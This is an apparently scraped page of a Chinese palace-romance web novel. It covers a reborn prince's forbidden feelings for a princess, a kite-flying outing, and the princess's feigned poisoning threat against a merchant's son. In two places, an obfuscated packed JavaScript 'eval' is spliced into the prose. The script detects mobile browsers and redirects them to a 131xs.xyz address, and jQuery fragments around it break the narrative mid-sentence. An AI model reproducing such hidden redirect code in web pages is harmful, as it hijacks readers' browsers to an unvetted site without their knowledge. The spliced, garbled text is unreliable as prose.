在今生,宋衫甫一重生,就有人告密八公主的身份有假。 他从冰鉴里取出了写有告密诗的木条,本以为能无事发生,却得知这次告密还是暴露于父皇跟前。 而且,八公主毫发无损,父皇仍坚信她是亲生女儿。 宋衫从宋立娘口中得知此事时,思绪顿时清空,唯余震惊。 自己和小八,莫非真是亲兄妹? 不过,前世的她,是如何说的来着? “小八!他说的是真的吗?我们不是亲兄妹?” 旧臣死后,宋衫及时喊住了转身欲走的那个人。 宋立娘停在原地,立于雨幕之中。 接着,破空的劲风袭来,一股蛮横的力道扼住了宋衫的脖颈,宋衫被推至粗糙冷硬的墙面上。 温热的吐息扑在宋衫脸边,自宋立娘登基后,这是她对宋衫说的第一句话:“为什么想知道?难道对你而言,这很重要?” 窒息濒死的痛感席卷鼻喉,宋衫被掐得完全发不出声。就在他以为将死之时,宋立娘竟松了手。 宋衫脱力地倚墙坐下,窒息过久后止不住地用力咳嗽。 他也恰好可以借咳嗽抬手捂嘴,遮掩面部,好不被精明的君主洞察心事,发现了自己在意真假兄妹的真正原因。 宋立娘定定旁观面前人的狼狈,忽地冷笑一下,拂袖离开:“王侯将相,宁有种乎?” 因这句话,宋衫相信,他与小八不是亲兄妹。 今生的丽娘能顺利解决身份质疑,也许是另有隐情。 不过,宋衫也由此意识到,无论事实怎样,他和八公主在世人眼中就是亲生兄妹。 只可相敬相悌,无法爱之慕之。 但宋衫已有前世回忆,他知道事实,怎么还能回得去? 这段时日以来,他想尽办法避开与宋立娘接触,不再见面往来,也许心就能平静。 可宋立娘却会自个寻上来。 “四哥哥?”宋立娘见宋衫想得出神,不由得出声唤人。 宋衫掩面咳嗽两声,方道:“我……近日感染风寒,怕你来探病,又渡了病气给你,刻意隐瞒避退,倒叫小八难过了,是我做得不对。” “啊?四哥哥病了?”宋立娘顿时显得紧张,坐得与宋衫更近了,以指背去探他额头的温度,“还好没发热。” 宋衫不敢再躲,悄然捏紧了镂空象牙席坐垫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599310|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马车行驶中微微颠簸,摇得他心中发乱。 他明明知道的,八妹妹只会将他视为眼中钉、肉中刺,毕竟太子是将来登基路上的一大阻碍。 “殿下!” “太子殿下!” 一女一男的声音同时响起,是小顺子和修竹正好回来。 修竹为公主端来朱漆描金的三层食盒:“殿下要的零嘴取回了,中途尚食监还为每位贵人送了果子酿,正适宜缓解乘车困乏。” 小顺子捧着的则是一沓虎皮毛毯,对宋衫道:“殿下醒了?仆还去寻了些厚毯子,怕车里备的薄巾不够,让殿下的风寒又加重了。殿下这会子醒了,还需要用厚毯吗?” 宋衫摇头,吩咐小顺子收好毛毯。 宋立娘顺势问:“你家主子何时得的风寒呀?太医可曾看过?” 小顺子拉出车座下的抽屉,把厚毯子放入其中,忧愁道:“公主殿下有所不知,前段日子啊太子殿下始终睡得不踏实,未盖好衾被,吹夜风吹多了,便染上风寒,太医瞧过开了药,但一直未大好。” 宋立娘起了疑心,瞟向宋衫,刻意问:“四哥哥为什么没睡好?做噩梦了?” 小顺子又欲张嘴,宋衫急忙答:“彻夜辗转难眠,许是我之前为准备及冠礼耗神过多,眼下难以放松。” 宋立娘说:“那你好好养病,可是讲好了,往后不准再自作主张瞒我,丽娘又不是小孩子,还能不懂保重身体嘛?” 宋衫淡淡笑,温声道:“好。” 与太子分食完零嘴后,宋立娘便与修竹回到公主所用的厌翟车。 厌翟车的车身色泽朱红,镶嵌有细碎的琉璃、玛瑙与琥珀,七彩雉羽由车顶密密垂落,骄阳暴晒中焕发绚丽霞光,如九天仙人銮驾。 车窗边的灰蓝薄透剪星纱被掀起,宋苏晚探出头来:“去了那么久?还将零嘴拿走了?” 路途遥远,感情要好的公主们会相约同乘,五、六、十公主共乘一辆,七、八公主则共乘另一辆。 “我唤修竹拿走了我的部分,七姐姐的还在呀。”宋立娘牵着宫侍的手,从马背上跳下来,再回到厌翟车内。 刚刚坐好,宋立娘便急不可耐地挑起车帘,指向外头步行队伍中的一人。 “对了七姐姐,那个人是谁?长相如此出挑,可我从未见过。” 步行前进的上百人形形色色,涵盖了助皇帝行宫理政的文官、服侍帝后皇嗣的侍从、修缮和布置行宫的工匠杂役等等。 其中一人鹤立鸡群,容貌分为昳丽,五官深邃,身材也高挑劲瘦。且他似有几分异域血统,肌肤极其白,眼眸若碧波春水,波浪长发带了浅浅的暖栗色,荡漾过一圈圈柔美的光晕。 如果说燕袖是“俊”,宋衫是“雅”,那么他便是“艳”。 其实宋立娘知道,此人正是皇商霍氏幼子——霍冠。 宋苏晚附和道:“奇哉怪哉,如此美人,本宫怎地没印象?” 修竹接上两位公主的疑惑:“那头是皇商的队伍,恐怕他与霍氏有干系。” “霍氏居然有这样的人,本宫都不知道。”宋苏晚扭头望着八妹妹,调笑她,“难得你对燕袖以外的人有兴趣,破天荒头一回呀。” 宋立娘听了,只是无奈一笑,双手用力拍打车窗,辩解道:“哎呀哪里有了,只是觉得长相好看,好奇罢了!” 宋苏晚打量八妹妹的眼神意味深长,随即召来自己的贴身宫女阿蘅:“你去打探下那家伙的底细,若是身子干净,到行宫后,就把人给我带来。” 14. 纸鸢 碧空如洗,高飞起一只青鸾图案的纸鸢,橘色丝绦所制的尾穗长长飘扬。 行宫重华园依山而建,这里的翠微山海拔较高,植被茂盛,哪怕正值夏暑时节,山腰之上也清凉气爽,山风徐徐不断。 山顶附近有一大片缓坡草甸,被划入了留芳别苑的范围,草甸中以鹅卵石铺设小路,依照星宿图位置摆放数十座青石四角宫灯,于是此处被取名为摘星陂。 现今,宋立娘就正在摘星陂,与宋苏晚一起放纸鸢。 宋立娘的青鸾纸鸢愈飞愈高,终于超过了苍穹正中的彩蝶纸鸢。 “不准比本宫高!”宋苏晚在功课之外的任何地方,都喜欢争个第一。 宋立娘故意调侃:“七姐姐,你要知道什么叫驽马铅刀、绠短汲深、力有不逮……哦对了,七姐姐学问不好,不知道也是常事。” 宋苏晚气得要拳脚教育妹妹。 修竹过来通报:“两位殿下,霍公子托仆询问,何时可被公主召见?” 自霍冠被叫来面见公主,他已在留芳别苑的入口站了近三个时辰,两位公主在别苑内野餐、赏景、放纸鸢,愣是没召见霍冠。 宋苏晚回望远处的渺小人影:“小八,你不是看上人家了嘛?怎么本宫给你安排妥当,又对他爱理不理?” 宋立娘继续拉长纸鸢线:“我是觉得此人古怪。” 宋苏晚不解:“哪里古怪?” 宋立娘凑近七皇姐,同她窃窃低语,仔细地分析一番。 “七姐姐你想啊,阿蘅不是打听出来,霍冠此人生性顽劣,素日最爱干的,都是些斗鸡赌.马、豢养名犬、滥修私园、打赏戏班子的闲事。 本是烂泥扶不上墙的膏粱子弟,为何一夜之间转变性子,帮衬起家中生意来?不仅随父入宫给尚食监送货,还甘做霍氏商队的学徒,帮助供应重华园晚宴的西域奇珍。” 宋苏晚了悟:“你怀疑霍冠目的不纯,所以想试探他?” 宋立娘看她的目光多了几分考究。 要论纨绔,这七公主也是不遑多让,平日一副吃喝玩乐的草包样子。可每次有事发生时,她都一点即通,偏偏是琴棋书画的功课,任凭学士师傅们如何教导,宋苏晚也毫无长进。 宋立娘道:“霍冠好像很懂宫里规矩,既没直接喊话,也不告退请辞,隔半个时辰便托宫侍来问一次我们。能独自空等仨时辰,不像自大惯了的纨绔做派。” 宋苏晚反倒得意洋洋:“那是自然!再大的纨绔,都不能大过公主去!” 宋立娘一时语塞。 方才是她高看了这丫头,心眼也就那么一点。 宋立娘提高音量,对修竹招手:“让霍冠进来吧。” 别苑入口处的小人影动了,霍冠迈着四方步走近,途中低头垂眸、身正臂直,当真很难从他身上看出纨绔的样子。 距两位公主的十步开外,霍冠停步,行四拜稽首礼:“草民霍冠,见过两位公主殿下!” 一角牡丹缠枝绯色裙边翩然跃来,压低了青鲜草芽——是八公主宋立娘。 她的语气轻松,好像只是在正常闲聊:“皇商霍氏可真会教,你才十五岁,礼数就如此周全了,行礼做得比许多宫人都标准。” 霍冠仍在跪地叩首:“草民谢公主谬赞。” 宋立娘令霍冠免礼平身,蹦跳着来到方才野餐的地方,在摆满一桌的膳食中用心挑拣,给霍冠递去块芙蓉八珍糕:“尝尝?” 瞧着对方犹疑不定的神态,宋立娘忍俊不禁,坐到石凳上,手肘支在桌沿,打趣道:“干嘛,你怕什么?难道本公主还能给你下毒不成?” “……谢公主赏赐。”霍冠躬身,用双手接过糕点,小口慢食。 宋立娘单手托腮,假装愉悦地观赏霍冠玉颜,心中怀疑则愈发重。 有问题,这个人太有问题了。当初霍冠为尚食监送的货品正是冰食,他完全有条件进入冰库,给冰鉴动手脚。 但霍冠如何模仿出胡耀字迹的?又是怎么让小李子自愿认罪的? 修竹正在回收八公主的青鸾纸鸢,而宋苏晚舍不得高飞的彩蝶纸鸢,一面让阿蘅继续放飞纸鸢,一面大步流星地冲来。 “霍冠,本宫告诉你!你能得本宫八皇妹的青睐,是三生有幸,祖坟冒青烟!要是你有意,趁现在年轻,好好保养容颜,再多练几首小曲、几支胡舞,说不准霍氏会比今日更发达!你愿不愿为家族挣好处?” 宋苏晚站到宋立娘旁边,居高临下地道出目的。 霍冠匆忙拒绝,同时欲要下跪磕头:“霍某实在愚钝,怕冲撞了公主!” 一只手先止住他下沉的臂膀,宋立娘把他扶起来,面上赧然一笑:“对不住,霍公子,吓到你了吧?也不是要你当面首,只是我近来,心堵得慌,若身侧伴有你这般赏心悦目的璧人,心情自然会舒畅许多。” 说着,宋立娘斜翘嘴角,俏皮地眨眼:“两月为期,只消劳烦霍公子陪同我在行宫游玩,不会耽误霍氏的活计吧?” 一番话堵得霍冠没办法拒绝,他下意识后退,抽出了被八公主搀扶的手臂,而眼神则无措地乱飘,神色慌张道:“无碍,霍某自然、自然可以。” “好了,皆大欢喜,赶快放纸鸢吧!”宋苏晚双手合掌,玩性大发,兴奋地跑回摘星陂,重执彩蝶纸鸢。 宋立娘喊霍冠共放纸鸢,他便依言,在新纸鸢里选出了一个锦鲤图样。 三只纸鸢徜徉天际,靓丽色泽点缀了万里琼空,仿佛浓墨重彩的风景油画。 宋苏晚叫嚷说要争个高低,宋立娘为七姐姐让步,刻意把青鸾纸鸢悬停于低空,既然不能再炫技,索性抽身去教霍冠如何放纸鸢。 “霍公子且看。”宋立娘径自拿过线轮的握柄,与霍冠的手指有刹那间交叠,“想放高纸鸢,必先测风,用心辨别风的来去,风起放线,以食指勾转线轮,松手要迅速,纸鸢自会借风力登天,锦鲤跃龙门。” 霍冠聆听讲解时,偷偷抬眸,静观女娘认真的侧颜,恍惚间,竟差点分不清今夕是何年。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599311|172002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>无人发现,留芳别苑的入口处有新客至。 青砖灰瓦的月洞门边,栽种着数丛郁郁箭竹,细密竹影投下,笼住了燕袖的身形。 燕袖的伤势未愈,皇后姑母和燕太傅都不同意他此来行宫,是他苦求好久,才得到了许可。燕袖之所以执着进入重华园,是想找八公主问清燕家近日丑闻。 不过,眼下似乎来得不是时候。 燕袖双目不移地凝望远方,宋立娘对旁人说话的声音很轻,很轻,随风散到他耳畔时,早就断了片。 在他结识丽娘后,每逢夏季常相约摘星陂放纸鸢,宋苏晚与宋衫也时常同行。四人在留芳别苑嬉笑玩闹,留下无忧的儿时记忆。 在摘星陂的碧蓝晴空下,燕袖曾出言调侃不熟悉放纸鸢的某人:“个子不高,纸鸢便举不高,当然难做到乘风而起。八公主要长高了,才能把纸鸢放得同我一样好。” 宋立娘面容黯淡,连说话都闷闷的:“御医说,我小时候吃食不足,恐怕往后都不长个子。” 燕袖顿时无措:“抱、抱歉,我不知道,你想要什么赔礼?什么都可以!” 宋立娘倏忽憋出个坏笑,猛地跳起来,双手摸乱面前人的头发,随即跑开:“骗你的!听说被人摸头会长不高,燕哥哥小心以后矮我一个头哦!” 燕袖捂好自己的鸡窝头,哭笑不得:“喂!有本事别逃跑!” 故去的岁月,就像极细极细的纸鸢提线,缥缈难寻,强风一折便从此遗失,怎么也握不紧,怎么也抓不牢,都是徒劳。 燕袖深呼吸一口气,睁眼时,世间一切变得模糊,那个陌生男子的面貌看不清,宋立娘与那人放的纸鸢也看不清。 也好。燕袖攥紧了拳头,这般暗想。看不清事实,有时也是好事。 “燕袖来过?”宋立娘问。 值守留芳别苑门口的宫侍答:“是,仆见燕公子来了门口,站一会儿便独自离开了。” 宋苏晚先替八妹妹不满:“有病!竖子!几个意思呀,还想解除婚约是吧?” 倒是宋立娘安抚好生气的七公主,才与她分别。阿蘅送七公主回住处,而本想告退的霍冠却被宋立娘叫住。 “刚刚我的纸鸢断了线,唤修竹替我去找,可我觉得留芳别苑太大,修竹一个人找不到,还请霍公子与我一起找吧。” 霍冠无法,只得依照公主命令,和宋立娘继续在别苑中四处寻觅。走入一处密林时,外头宫侍的视线尽数被乔木遮挡,宋立娘估摸时机正好,出手拦下霍冠,迎上他困惑的目光。 “对了霍公子,我忽然想起,在你来之前,我的袖口曾不小心碰过雷公藤。那块送给你吃的芙蓉八珍糕,也许同样沾上了雷公藤的汁液。” 宋立娘语气如以往天真,说的内容却瘆人无比。 “雷公藤,可是有毒的!中毒的人会很像心跳骤停的死状,所以,等到毒发身亡以后,连仵作都很难为你伸冤哦。” 宋立娘微微挑眉,加重了音调:“你说是吧,霍公子?”